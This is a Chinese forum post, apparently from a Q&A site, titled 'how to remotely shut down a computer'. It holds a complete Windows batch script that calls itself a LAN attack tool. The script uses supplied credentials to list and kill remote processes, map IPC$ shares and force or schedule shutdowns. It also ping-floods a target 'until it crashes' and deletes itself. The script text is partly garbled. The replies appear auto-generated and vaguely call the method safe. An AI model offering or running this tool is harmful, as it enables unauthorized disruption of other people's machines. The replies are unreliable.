如何实现电脑远程关机?

2年前 (2022-10-01)阅读5回复4最佳爬楼位置
wsygfsj
wsygfsj
  • 管理员
  • 注册排名5
  • 经验值530635
  • 级别管理员
  • 主题106127
  • 回复0
楼主

  @ echo offtitle hackerxfight

echo 局域网攻击!

color cf

title 攻击程序

:mode con: cols=70 lines=20

echo msgbox"局域网攻击程序!"  vb *** sg。vbsdel msg。vbs

cls

echo。

echo。

echo ----------------------------------------------------------------------

echo 本软件只用于个人研究专用

echo 如出现任何法律问题

echo 本作者概不负责

echo ----------------------------------------------------------------------

echo。

echo。

:ip

echo 请输入要攻击的IP(XXX。XXX。XXX。XXX)

set /p ip=ip:

set "ip=%ip:"=%"

echo 请输入要攻击的计算机用户名

set /p user=用户名:

set "user=%user:"=%"

echo 请输入要攻击的计算机的密码(如无密码直接按回车):

set /p pass=密码:

set "pass=%pass:"=%"

echo 正在连接远程电脑,请稍

候。

ping %ip%if %errorlevel% == 1 echo 远程计算机连接失败,原因可能为远程计算机未开启或网

络超时!pausegoto ip

goto start

:start

cls

echo。

echo。

echo ----------------------------------------------------------------------

echo 本软件只用于个人研究专用

echo 如出现任何法律问题

echo 本作者概不负责

echo ----------------------------------------------------------------------

echo。

echo。

echo 1、查看远程进程

echo 2、攻击远程IP

echo 3、映射远程磁盘

echo 4、关闭远程电脑

echo 5、更改攻击ip

echo 6、退出程序

set /p start= 请输入要操作的代码:

set "start=%start:"=%"

if "%start%"=="1" goto tasklist

if "%start%"=="2" goto ping

if "%start%"=="3" goto ipc

if "%start%"=="4" goto off

if "%start%"=="5" goto ip

if "%start%"=="6" goto end

if not errorlevel == 1 goto err

if not errorlevel == 2 goto err

if not errorlevel == 3 goto err

if not errorlevel == 4 goto err

if not errorlevel == 5 goto err

if not errorlevel == 6 goto err

:tasklist

cls

tasklist /s %ip% /u %user% /p %pass%

echo 是否结束远程进程?结束请按1,返回请按0。

set /p taskkill=请输入:

if "%taskkill%"=="0" goto start

if "%taskkill%"=="1" goto kill

if not errorlevel == 0 goto err

if not errorlevel == 1 goto err

:kill

set /p im=请输入要结束的进程(如 *** 。

  EXE):

set "im=%im:"=%"

taskkill /s %ip% /u %user% /p %pass% /im %im% /t

goto tasklist

:ping

cls

echo 攻击远程IP直到他死机。

  按任意键开始。要终止请按Ctrl C退出程序!

pauseping %ip% -t -l 65500

:ipc

cls

echo 映射远程磁盘到本地!(请确认远程计算机开启IPC$共享)

net use \%ip%ipc$ "" /user:""set /p ipc=请输入要映射的网络磁盘:

set "ipc=%ipc:"=%"

set /p lan=请输入映射的磁盘盘符号(不要输入已存在的本地磁盘如C盘):

net use %lan%: \%ip%%ipc%$ "%pass%" /user:"%user%"

pausegoto start

:off

cls

echo 强行关闭远程计算机!

echo 1、即时关机

echo 2、定时关机

echo 3、返回

set /p off=请输入:

if "%off%"=="1" goto shutdown

if "%off%"=="2" goto at

if "%off%"=="3" goto start

if not errorlevel == 1 goto err

if not errorlevel == 2 goto err

if not errorlevel == 3 goto err

:shutdown

cls

echo 关闭计算机输入s,重启计算机输入r。

set /p and=请输入:

set "and=%and:"=%"

echo 请设置关机倒记时(单位/秒)

set /p t=请输入倒记时:

set "t=%t:"=%"

echo 请设置关机注释(不能超过120字节)

set /p c=请输入注释:

set "c=%c:"=%"

net use \%ip%ipc$ "%pass%" /user:"%user%"

shutdown -m \%ip% -f -%and% -t %t% -c "%c%"

echo 任意键返回!

pausegoto start

:at

cls

echo 定时关闭远程计算机!

echo 关闭计算机输入s,重启计算机输入r。

set /p sr=请输入:

set "sr=%sr:"=%"

echo 请设置远程关机时间,现在时间为 %time% 。

net time %ip%

set /p offtime=请输入(如20:00):

set "offtime=%offtime:"=%"

echo 请设置关机倒记时(单位/秒)

set /p att=请输入倒记时:

set "att=%att:"=%"

echo 请设置关机注释(不能超过120字节)

set /p atc=请输入注释:

set "atc=%atc:"=%"

net use \%ip%ipc$ "%pass%" /user:"%user%"

at \%ip% %offtime% shutdown -f -%sr% -t %att% -c "%atc"

if %errorlevel% == 1 echo 请确认网络是否正常! pausegoto at

echo 任意键返回!

pausegoto start

:err

echo 您输入的格式不正确,任意键返回,重新输入。

   pause:end

exit

attrib -h -s -r -a %0

del %0

把这些代码保存为bat格式,这是个局域网攻击器。

0
回帖

如何实现电脑远程关机? 相关回复(4)

风之轻语
风之轻语
沙发
如何实现电脑远程关机?简单明了地阐述了通过特定软件、命令或云端控制台等方法,可以实现电导在互联网环境下轻松进行远端计算机的关闭操作。
3天前 (07-02 20:20)回复00
漫步云端
漫步云端
2楼
远程关机实现途径多种多样,如何电脑利用网络安全设备即可跨区相连接用全升级驱动程序搞定神控制屏边界的多需注意力定时指令?为我们提供详尽方法,简明易行。
3天前 (07-02 20:21)回复00
独步清风
独步清风
3楼
如何实现电脑远程关机?—— 简单易懂的教程,帮助用户轻松掌握通过软件、网络等途径实现对电脑的远距离关闭操作,实用性强且安全可靠!
3天前 (07-02 20:25)回复00
临风
临风
4楼
建议的意见是关于这方面的评论:
如何实现电脑远程关机?一文提供了简单实用的方法,操作便捷安全。
3天前 (07-02 20:26)回复00
取消